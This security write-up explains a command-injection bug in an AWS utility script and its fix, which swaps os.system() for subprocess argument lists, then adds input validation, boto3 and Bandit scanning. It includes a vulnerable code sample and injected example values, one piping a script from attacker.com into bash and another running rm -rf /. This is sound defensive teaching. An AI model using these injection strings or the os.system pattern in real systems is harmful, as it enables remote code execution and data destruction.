Critical Command Injection Fix: How os.system() Put AWS Workflows at Risk

Severity: 🔴 Critical | CWE: CWE-78 (OS Command Injection) | File: utils/aws/resume.py

Introduction

Imagine handing a stranger a keyboard and saying, "Here, type whatever you want into our server." That's essentially what an OS command injection vulnerability does — and it's exactly what was lurking in utils/aws/resume.py.

This vulnerability, classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command), is one of the most dangerous bugs a developer can introduce. It sits at #3 on the OWASP Top 10 (Injection) for good reason: when exploited, it can hand an attacker complete control over the underlying system.

The good news? It was caught, reported, and fixed. The better news? Understanding why it happened and how it was fixed will help you avoid the same pitfall in your own code.

The Vulnerability Explained

What Went Wrong

At its core, the problem was deceptively simple. The code in utils/aws/resume.py was constructing a shell command string from user-controllable input and passing it directly to os.system():

# ❌ VULNERABLE CODE (before the fix)
import os

def resume_aws_session(profile_name, region):
    cmd = f"aws resume --profile {profile_name} --region {region}"
    os.system(cmd)  # 💀 Danger: shell interprets the entire string

The os.system() function passes its argument to the system shell (/bin/sh on Unix, cmd.exe on Windows) for execution. The shell doesn't just run the command — it interprets it, including all the special metacharacters that make shell scripting powerful:

How It Could Be Exploited

If an attacker controls the profile_name or region parameters — through a web form, API call, configuration file, or environment variable — they can inject shell metacharacters to break out of the intended command and run arbitrary code.

Example Attack Scenario:

Suppose the profile_name parameter is sourced from user input or an external configuration:

# Attacker supplies this as profile_name:
profile_name = "default; curl http://attacker.com/shell.sh | bash"

# The resulting command becomes:
cmd = "aws resume --profile default; curl http://attacker.com/shell.sh | bash --region us-east-1"

When os.system() runs this, the shell executes two commands:
1. aws resume --profile default — the intended command
2. curl http://attacker.com/shell.sh | bash — the attacker's payload

In an AWS environment, this is catastrophic. An attacker could:

• 🔑 Exfiltrate AWS credentials from ~/.aws/credentials
• 🗑️ Delete S3 buckets or terminate EC2 instances
• 🕵️ Establish a reverse shell for persistent access
• 📦 Install malware or crypto-miners on the host
• 🔄 Pivot to other internal services using the compromised host's IAM role

The Real-World Impact

In cloud environments, this type of vulnerability is especially severe because:

1. IAM Role Escalation: EC2 instances and Lambda functions often run with IAM roles attached. An attacker who gains shell access inherits those permissions automatically via the instance metadata service (IMDS).

2. No Authentication Required (in some cases): If the vulnerable code path is reachable without authentication, the attack surface is enormous.

3. Lateral Movement: AWS environments are interconnected. A foothold in one service can cascade into access to databases, secrets managers, and other critical infrastructure.

The Fix

What Changed

The fix replaces os.system() with Python's subprocess module, specifically using argument lists instead of shell strings:

# ✅ FIXED CODE (after the fix)
import subprocess

def resume_aws_session(profile_name, region):
    cmd = ["aws", "resume", "--profile", profile_name, "--region", region]
    subprocess.run(cmd, check=True)  # ✅ Safe: no shell interpretation

Why This Works

The key difference is how the operating system receives the command:

When you pass a list to subprocess.run(), Python calls the OS's execve() system call directly, bypassing the shell entirely. Each list element is treated as a literal argument — semicolons, pipes, and backticks are just characters, not instructions.

# Even a malicious input is now harmless:
profile_name = "default; rm -rf /"

subprocess.run(["aws", "resume", "--profile", profile_name, "--region", region])
# Executes: aws resume --profile "default; rm -rf /" --region us-east-1
# The AWS CLI receives the entire string as a single argument value — no injection!

Additional Hardening with subprocess

The subprocess module also gives you much finer control over process execution:

import subprocess
import shlex

def resume_aws_session(profile_name, region):
    # Input validation as a defense-in-depth measure
    if not profile_name.replace("-", "").replace("_", "").isalnum():
        raise ValueError(f"Invalid profile name: {profile_name}")

    cmd = ["aws", "resume", "--profile", profile_name, "--region", region]

    result = subprocess.run(
        cmd,
        check=True,           # Raises CalledProcessError on non-zero exit
        capture_output=True,  # Captures stdout/stderr instead of printing
        text=True,            # Returns strings instead of bytes
        timeout=30            # Prevents hanging processes
    )
    return result.stdout

Prevention & Best Practices

1. Never Use os.system() with Dynamic Input

Treat os.system() like a loaded weapon in a crowded room. If you must use it, the input must be 100% hardcoded. The moment any variable enters that string, you have a potential injection vulnerability.

# ❌ Never do this with any dynamic content
os.system(f"some_command {user_input}")

# ✅ Always prefer subprocess with a list
subprocess.run(["some_command", user_input])

2. Use subprocess with Argument Lists (Not Strings)

Even subprocess can be vulnerable if you use shell=True:

# ❌ Still vulnerable — shell=True re-introduces the problem
subprocess.run(f"aws resume --profile {profile_name}", shell=True)

# ✅ Safe — no shell, arguments are passed directly
subprocess.run(["aws", "resume", "--profile", profile_name])

Rule of thumb: If you see shell=True, treat it with the same suspicion as os.system().

3. Validate and Allowlist Inputs

Even with subprocess, input validation adds an important layer of defense:

import re

VALID_AWS_PROFILE = re.compile(r'^[a-zA-Z0-9_\-]{1,64}$')
VALID_AWS_REGION = re.compile(r'^[a-z]{2}-[a-z]+-\d{1}$')

def validate_aws_params(profile_name: str, region: str) -> None:
    if not VALID_AWS_PROFILE.match(profile_name):
        raise ValueError(f"Invalid AWS profile name: '{profile_name}'")
    if not VALID_AWS_REGION.match(region):
        raise ValueError(f"Invalid AWS region: '{region}'")

Use allowlists (only permit known-good patterns) rather than denylists (try to block known-bad characters). Attackers are creative — they'll find encoding tricks to bypass denylists.

4. Use Higher-Level Libraries When Available

For AWS operations specifically, avoid shelling out entirely. Use the boto3 SDK instead:

# ❌ Shelling out to AWS CLI — risky and fragile
os.system(f"aws s3 cp {filename} s3://{bucket}")

# ✅ Use boto3 directly — no shell, type-safe, testable
import boto3
s3 = boto3.client('s3')
s3.upload_file(filename, bucket, object_key)

5. Apply the Principle of Least Privilege

Even if command injection is exploited, limiting what the process can do reduces blast radius:

• Run processes with minimal OS permissions
• Use IAM roles with least-privilege policies
• Avoid running application code as root
• Use AWS IMDSv2 to limit metadata service abuse

6. Use Static Analysis Tools

Catch these issues before they reach production:

# Run Bandit on your Python codebase
pip install bandit
bandit -r ./utils/ -t B602,B603,B605

Bandit rules B602, B603, and B605 specifically target subprocess with shell=True and os.system() calls.

7. Security Standards Reference

This vulnerability maps to several well-known security standards:

• CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
• OWASP Top 10 A03:2021: Injection
• NIST SP 800-53: SI-10 (Information Input Validation)
• PCI DSS: Requirement 6.3.1 (Security vulnerabilities in bespoke software)

Conclusion

A single function call — os.system() — with unsanitized input was enough to create a critical, system-level vulnerability in an AWS utility script. This is a powerful reminder that security vulnerabilities don't always look dramatic in the code. A one-line change can have devastating consequences.

The fix was equally straightforward: swap os.system() for subprocess.run() with a list of arguments, and the shell never enters the picture. No shell, no shell injection.

Key Takeaways

1. os.system() with dynamic input is always dangerous — the shell will interpret metacharacters
2. subprocess.run(["cmd", "arg"]) is the safe alternative — arguments are passed directly to the OS
3. shell=True in subprocess is just as dangerous as os.system() — avoid it with dynamic input
4. Validate inputs with allowlists as a defense-in-depth measure
5. Prefer SDK/library calls over shell commands when possible (e.g., boto3 over AWS CLI)
6. Use static analysis tools like Bandit and Semgrep to catch these patterns automatically

Security is a habit, not a checkbox. Every time you write code that touches external input, ask yourself: "What happens if someone passes something unexpected here?" That single question, asked consistently, prevents vulnerabilities like this one.

This vulnerability was identified and fixed by automated security scanning. Automated security tooling is a force multiplier for development teams — it catches the issues that are easy to miss in code review.

Have questions about command injection or secure Python practices? Drop a comment below.

References:
- OWASP Command Injection
- CWE-78: OS Command Injection
- Python subprocess documentation
- Bandit: Python Security Linter
- OWASP Top 10 A03:2021 — Injection